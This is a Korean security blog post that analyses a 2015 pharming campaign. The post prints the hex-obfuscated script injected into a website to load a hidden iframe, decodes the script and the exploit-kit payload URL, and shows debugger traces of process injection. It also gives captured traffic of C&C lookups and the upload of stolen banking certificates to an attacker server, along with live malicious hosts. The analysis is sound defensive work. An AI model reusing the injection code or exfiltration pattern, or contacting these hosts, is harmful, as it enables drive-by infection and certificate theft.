annyoung

여러 사이트를 이용한 파밍 유포 본문

분석생활

여러 사이트를 이용한 파밍 유포

nopsled 2015. 5. 31. 02:45


고운빛 베이비시터 사이트에서 iframe을 사용하여 몰래 유포 중이다.



<script>

var _$=['\x66\x61\x6b\x65\x3d','\x66\x61\x6b\x65\x3d\x59\x65\x73\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d',

"\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x2f\x2f\x32\x31\x31\x2e\x35\x38\x2e\x32\x35\x35\x2e\x32\x31\x39\x2f\x75\x73\x61\x2f\x6d\x79\x67\x61\x2e\x68\x74\x6d\x6c\x20\x77\x69\x64\x74\x68\x3d\x30\x20\x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e"];

if(document.cookie.indexOf(_$[0])==-0x1){var a=new Date();a.setTime(a.getTime()+0xc*0x3c*0x3c*0x3e8);document.cookie=_$[1]+a.toGMTString();document.write(_$[2])}

</script>


코드 더럽게 길네.. hex로 인코딩되어 복호화 하게 된다.

복호화 하는 방법은 대체적으로 간단하다.



>>> hexList = ['\x66\x61\x6b\x65\x3d','\x66\x61\x6b\x65\x3d\x59\x65\x73\x3b\x70\

x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d',"\x3c\x69\x66\x72\x61\x

6d\x65\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x2f\x2f\x32\x31\x31\x2e\x35\x38\x

2e\x32\x35\x35\x2e\x32\x31\x39\x2f\x75\x73\x61\x2f\x6d\x79\x67\x61\x2e\x68\x74\x

6d\x6c\x20\x77\x69\x64\x74\x68\x3d\x30\x20\x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x

3c\x2f\x69\x66\x72\x61\x6d\x65\x3e"]

>>> print hexList[2]

<iframe src=hxxp://211.58.255.219/usa/myga.html width=0 height=0></iframe>

>>> 

이런식으로 파이썬으로 복호화 하면 된다. (아쒸.. 많이 작성했는데 복붙했더니 크래쉬나더니 브라우져가 죽어서 처음부터 다시 작성한다..ㅡㅡ;; 자동 저장기능이 되고 있는건가 마는건가.. -_-;;)

대부분 이런방식으로 유포되는건 가장 긴부분이 iframe으로 되어 있어서 쉽게 유추가 가능하다. 가장 긴 Hex는 인덱스 넘버2이므로 2번째꺼만 복호화 하였다.

+ 211.58.255.219가 자꾸 해커 서버로 생각이 되는 이유는 뭘까..-_-



 <iframe src='hxxp://www.pole-k.com/html/ebook/index.html' width='60height='1frameborder='0'></iframe>

최종적으로 CK VIP Exploit kit이 있는 유포지가 프레임으로 생성된다.



function ckl(){var bmw=new Array(263,275,275,271,217,206,206,273,260,278,256,275,260,273,205,266,273,206,

257,257,274,254,274,276,269,206,261,264,267,260,274,206,279,205,260,268,159,261);return bmw;}function ckls()

가장 하단에 있는 악성코드 URL만 복호화하면 되므로 간단하게 복호화한다.



>>> bmw = [263,275,275,271,217,206,206,273,260,278,256,275,260,273,205,

266,273,206,257,257,274,254,274,276,269,206,261,264,267,

260,274,206,279,205,260,268,159,261]

>>> for i in range(0, len(bmw)):

...     print chr(bmw[i] - 159),

...

h t t p : / / r e w a t e r . k r / b b s _ s u n / f i l e s / x . e m  f

이런식으로 복호화 하면 된다. (CK VIP를 분석해본 사람들은 알겠지만, 암호화된 인덱스를 159만큼 빼면 원문이 나오게 된다.)



복호화 하게 되면 emf 확장자가 나오는데 fake extension이므로 속지 말자.

Hex editor로 보게되면 4D 5A로 실행 가능한 파일이다.




어찌 됬건.. 리워터코리아에 바이너리가 업로드되어 경유지로 사용 중이다.



 FileName

 x.emf

 MD5

 EA58648E69D52B505921F940A3833A72

 SHA-1

 2D4BEE059418DC625EBF4CD5001A9A0E0F60B56D

 Packer

 PEcompact ver.2.78a ~ 3.11.00

해당 바이너리는 PEcompact로 패킹 되었고.. Manual unpacking 방법은 여기 블로그에서 PEcompact를 검색하여 뒤적이다보면 나온다. 그러므로 언패킹 방법을 다시 얘기하진 않고 진행하겠다.



0012FEC0   00405A0E  /CALL to CreateProcessA

0012FEC4   00000000  |ModuleFileName = NULL

0012FEC8   00162AF8  |CommandLine = "C:\Windows\System32\attrib.exe"

0012FECC   00000000  |pProcessSecurity = NULL

0012FED0   00000000  |pThreadSecurity = NULL

0012FED4   00000000  |InheritHandles = FALSE

0012FED8   00000004  |CreationFlags = CREATE_SUSPENDED

0012FEDC   00000000  |pEnvironment = NULL

0012FEE0   00000000  |CurrentDir = NULL

0012FEE4   00157530  |pStartupInfo = 00157530

0012FEE8   001553D8  \pProcessInfo = 001553D8


코드 인젝션을 위해서 %systemroot%\System32\attrib.exe를 SUSPENDED 상태로 실행 시킨다.





0012FED4   0040601F  /CALL to WriteProcessMemory

0012FED8   00000054  |hProcess = 00000054

0012FEDC   00400000  |Address = 400000

0012FEE0   00199FE8  |Buffer = 00199FE8

0012FEE4   00000400  |BytesToWrite = 400 (1024.)

0012FEE8   0012FF20  \pBytesWritten = 0012FF20 


0012FEC8   004068C0  /CALL to WriteProcessMemory

0012FECC   00000054  |hProcess = 00000054

0012FED0   00401000  |Address = 401000

0012FED4   0019A3E8  |Buffer = 0019A3E8

0012FED8   00018200  |BytesToWrite = 18200 (98816.)

0012FEDC   0012FEF0  \pBytesWritten = 0012FEF0


0012FEC8   004068C0  /CALL to WriteProcessMemory 

0012FECC   00000054  |hProcess = 00000054

0012FED0   0041A000  |Address = 41A000

0012FED4   001B25E8  |Buffer = 001B25E8

0012FED8   00001C00  |BytesToWrite = 1C00 (7168.)

0012FEDC   0012FEF0  \pBytesWritten = 0012FEF0


0012FEC8   004068C0  /CALL to WriteProcessMemory

0012FECC   00000054  |hProcess = 00000054

0012FED0   0041C000  |Address = 41C000

0012FED4   001B41E8  |Buffer = 001B41E8

0012FED8   00017800  |BytesToWrite = 17800 (96256.)

0012FEDC   0012FEF0  \pBytesWritten = 0012FEF0



0012FEC8   004068C0  /CALL to WriteProcessMemory

0012FECC   00000054  |hProcess = 00000054

0012FED0   00446000  |Address = 446000

0012FED4   001CB9E8  |Buffer = 001CB9E8

0012FED8   00000400  |BytesToWrite = 400 (1024.)

0012FEDC   0012FEF0  \pBytesWritten = 0012FEF0



0012FEC8   004068C0  /CALL to WriteProcessMemory

0012FECC   00000054  |hProcess = 00000054

0012FED0   00447000  |Address = 447000

0012FED4   001CBDE8  |Buffer = 001CBDE8

0012FED8   00001E00  |BytesToWrite = 1E00 (7680.)

0012FEDC   0012FEF0  \pBytesWritten = 0012FEF0 


0012FEC8   004068C0  /CALL to WriteProcessMemory

0012FECC   00000054  |hProcess = 00000054

0012FED0   00449000  |Address = 449000

0012FED4   001CDBE8  |Buffer = 001CDBE8

0012FED8   00000200  |BytesToWrite = 200 (512.)

0012FEDC   0012FEF0  \pBytesWritten = 0012FEF0



0012FED4   004069B2  /CALL to WriteProcessMemory

0012FED8   00000054  |hProcess = 00000054

0012FEDC   7FFDC008  |Address = 7FFDC008

0012FEE0   0012FF40  |Buffer = 0012FF40

0012FEE4   00000004  |BytesToWrite = 4

0012FEE8   0012FF14  \pBytesWritten = 0012FF14


코드 인젝션을 위한 buffer는 위의 내용과 같다.

VMProtect로 해킹되어 있으며, 해쉬 값은 312F331C2D814330357422D17BA09B5B, 5F668BEF406A0D8A7D4F607DEB99C6E27BE9957E이다. (바이러스 토탈에도 없으니.. 패스하시길)

악성 행동은 모두 이녀석이 하게 된다.(인증서 업로드, C&C 아이피 얻어오기 등..)



GET /fcg-bin/cgi_get_portrait.fcg?uins=2071776069?=25824 HTTP/1.1

Accept: */*

Accept-Language: ko

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.0.3705)

Host: users.qzone.qq.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: QZHTTP-2.37.1

Content-Encoding: gzip

Cache-Control: max-age=86400

Content-Type: text/html

Content-Length: 123

Date: Sat, 30 May 2015 17:23:36 GMT

Connection: keep-alive

Vary: Accept-Encoding


..........+./*)J.,qN..qJL...V220747730.T..V.()).../..O.7.+../J.+,.K.../...K.G(Gf...(........T240.320.342.341.J..j.....!~... 

C&C IP 파싱



GET /Count.asp?ver=001&mac=00-1C-42-55-3D-A4 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://www.rkxdltkfwk.com:98/Count.asp?ver=001&mac=00-1C-42-55-3D-A4

Accept-Language: zh-cn

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Host: www.rkxdltkfwk.com:98 // 개새끼들...

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: NetBox Version 2.8 Build 4128

Date: Sat, 30 May 2015 17:23:34 GMT

Connection: Keep-Alive

Set-Cookie: EVBBZAISBPYCUXXNYHIR=QAEBIDFQMODMSDOECJCSHFGXXZXDUITFKHKKHUDA; path=/

Cache-control: private

Content-Type: text/html

Content-Length: 3


...

파밍 조직들 원래 개새끼지만 참 개새끼다. 도메인명이 영타로 같이살자다. 에휴.. 뿌리가 뽑혔음 하는데 분석가 분들 화이팅 -_-;;





GET /ip.php?=1017 HTTP/1.1

Accept: */*

Accept-Language: ko

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.0.3705)

Host: 104.203.120.147

Connection: Keep-Alive


HTTP/1.1 200 OK

Connection: close

Date: Sat, 30 May 2015 17:23:44 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-Powered-By: PHP/5.2.17

Content-type: text/html


ae3b4aac7f1b5d4c6b55f3650142db6b 



POST /upload.php HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://104.203.120.147/upload.php

Accept-Language: zh-cn

Content-Type: multipart/form-data; boundary=---------------------------7da3e1bd0314

Content-Length: 295

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Host: 104.203.120.147

Cache-Control: no-cache


-----------------------------7da3e1bd0314

Content-Disposition: form-data; name="upload_file1"; filename="C:\DOCUME~1\nopsled\LOCALS~1\Temp\2cf0f566ebe87d52e17d582344cc1918.zip"

Content-Type: application/x-zip-compressed


PK....................

-----------------------------7da3e1bd0314--

HTTP/1.1 200 OK

Connection: close

Date: Sat, 30 May 2015 17:23:46 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-Powered-By: PHP/5.2.17

Content-Type:text/html;charset=utf-8


공인인증서 유출까지 마무리 깔끔.



마지막으로 금융감독원 팝업창 하나 떠주면 두 말할 필요 없이 완벽하다.

Naver : http://104.203.120.147:8802/

Daum : http://104.203.120.147:8803/



알고보니 저번에 봤던 조직이다.

반갑다~

Comments